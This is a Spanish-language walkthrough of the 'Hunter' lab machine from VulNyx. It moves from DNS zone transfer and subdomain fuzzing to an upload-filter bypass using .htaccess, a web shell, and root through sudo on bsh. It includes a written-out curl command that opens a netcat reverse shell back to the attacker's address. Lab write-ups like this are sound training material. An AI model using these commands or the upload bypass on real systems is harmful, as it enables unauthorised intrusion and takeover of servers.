VulNyx - Hunter

logo

  • Domain Zone Transfer (AXFR)
  • Bypass File Upload Filter - (.htaccess)
  • Abusing Bsh Binary - Sudo Privesc

Escaneo de puertos

❯ nmap -p- -T5 -n -v 192.168.1.113

PORT   STATE SERVICE
22/tcp open  ssh
53/tcp open  domain
80/tcp open  http

Escaneo de servicios

❯ nmap -sVC -v -p 22,53,80 192.168.1.113

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u3 (protocol 2.0)
| ssh-hostkey: 
|   2048 f7:ea:48:1a:a3:46:0b:bd:ac:47:73:e8:78:25:af:42 (RSA)
|   256 2e:41:ca:86:1c:73:ca:de:ed:b8:74:af:d2:06:5c:68 (ECDSA)
|_  256 33:6e:a2:58:1c:5e:37:e1:98:8c:44:b1:1c:36:6d:75 (ED25519)
53/tcp open  domain  (unknown banner: not currently available)
| dns-nsid: 
|_  bind.version: not currently available
| fingerprint-strings: 
|   DNSVersionBindReqTCP: 
|     version
|     bind
|_    currently available
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
| http-methods: 
|_  Supported Methods: OPTIONS HEAD GET POST
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.38 (Debian)
| http-robots.txt: 1 disallowed entry 
|_hunterzone.nyx
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.94SVN%I=7%D=12/14%Time=657AE5A6%P=x86_64-pc-linux-gnu%r(
SF:DNSVersionBindReqTCP,52,"\0P\0\x06\x85\0\0\x01\0\x01\0\x01\0\0\x07versi
SF:on\x04bind\0\0\x10\0\x03\xc0\x0c\0\x10\0\x03\0\0\0\0\0\x18\x17not\x20cu
SF:rrently\x20available\xc0\x0c\0\x02\0\x03\0\0\0\0\0\x02\xc0\x0c");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

HTTP - TCP 80

http

Robots.txt

❯ curl http://192.168.1.113/robots.txt
User-agent: *
Disallow: hunterzone.nyx

Añado el dominio a mi archivo hosts.

❯ echo "192.168.1.113    hunterzone.nyx" >> /etc/hosts

Con dig obtengo información sobre el dominio hunterzone.nyx.

❯ dig @192.168.1.113 hunterzone.nyx axfr

; <<>> DiG 9.19.17-1-Debian <<>> @192.168.1.113 hunterzone.nyx axfr
; (1 server found)
;; global options: +cmd
hunterzone.nyx.		604800	IN	SOA	ns1.hunterzone.nyx. root.hunterzone.nyx. 2 604800 86400 2419200 604800
hunterzone.nyx.		604800	IN	NS	ns1.hunterzone.nyx.
?.hunterzone.nyx.	604800	IN	TXT	"devhunter.nyx"
admin.hunterzone.nyx.	604800	IN	A	127.0.0.1
cloud.hunterzone.nyx.	604800	IN	A	127.0.0.1
ftp.hunterzone.nyx.	604800	IN	A	127.0.0.1
ns1.hunterzone.nyx.	604800	IN	A	127.0.0.1
www.hunterzone.nyx.	604800	IN	A	127.0.0.1
hunterzone.nyx.		604800	IN	SOA	ns1.hunterzone.nyx. root.hunterzone.nyx. 2 604800 86400 2419200 604800
;; Query time: 0 msec
;; SERVER: 192.168.1.113#53(192.168.1.113) (TCP)
;; WHEN: Thu Dec 14 12:38:23 CET 2023
;; XFR size: 9 records (messages 1, bytes 294)

Añado el nuevo dominio devhunter.nyx al archivo hosts.

❯ echo "192.168.1.113    devhunter.nyx" >> /etc/hosts

Realizo fuerza bruta de subdominios.

❯ wfuzz -t 200 -c --hw=933 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.devhunter.nyx" http://devhunter.nyx
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://devhunter.nyx/
Total requests: 114441

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                           
=====================================================================

000000096:   200        26 L     51 W       525 Ch      "files" 

Añado el nuevo subdominio al archivo hosts.

❯ echo "192.168.1.113    files.devhunter.nyx" >> /etc/hosts

Visito el nuevo subdominio y encuentro una herramienta para subir archivos.

uploadFiles

Si intento subir un archivo con extensión .php me muestra el siguiente error.

uploadFilesError

Si subo un archivo con extensión .png me permite la subida.

uploadFilesSucces

Realizo fuerza bruta de directorios para saber donde sube los archivos.

❯ wfuzz -c -t 200 --hc=404 -w /usr/share/seclists/Discovery/Web-Content/big.txt http://files.devhunter.nyx/FUZZ
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://files.devhunter.nyx/FUZZ
Total requests: 20476

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                                         
=====================================================================
  
000005518:   301        9 L      28 W       324 Ch      "css"                                                                                                                                           
000016220:   403        9 L      28 W       284 Ch      "server-status"                                                                                                                                 
000018782:   301        9 L      28 W       328 Ch      "uploads"

Navego al directorio uploads y visualizo la imagen que he subido.

uploadsOk

Vuelvo a BurpSuite e intercepto la petición.

brp

Envío la petición al intruder.

intruder

En la pestaña Payloads añado las extensiones en Payload settings y más abajo en Payload encoding desmarco la casilla de URL-encode these characters.

payload

Al terminar el ataque veo que el archivo .htaccess se ha subido correctamente.

results

Como puedo subir archivos .png y .htaccess primero subiré el archivo .htaccess para que interprete archivo .png como si fuera un archivo .php, para ello intercepto la petición y realizo los siguientes cambios:

htaccessOK

Más información sobre bypass mediante .htaccess

Una vez subo el archivo .htaccess solo tengo que cambiar la extensión de mi cmd.php por cmd.png y subirlo.

cmdpng

successpng

Compruebo que el archivo cmd.png funciona correctamente.

rce

Me mando una shell.

❯ curl "http://files.devhunter.nyx/uploads/cmd.png?cmd=nc%20-c%20/bin/bash%20192.168.1.17%201234"

Obtengo una shell como usuario bug.

shellbug

Una vez termino el tratamiento para la tty enumero permisos de sudo.

bug@hunter:/home/bug$ sudo -l
Matching Defaults entries for bug on hunter:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User bug may run the following commands on hunter:
    (root) NOPASSWD: /usr/bin/bsh

Busco información sobre beanshell commands.

bshcommands

Después de un buen rato consigo ejecutar comandos como root.

bshid

Me mando una shell.

bshnetcat

Obtengo el root.

root

Y aquí termina la máquina Hunter.

Saludos!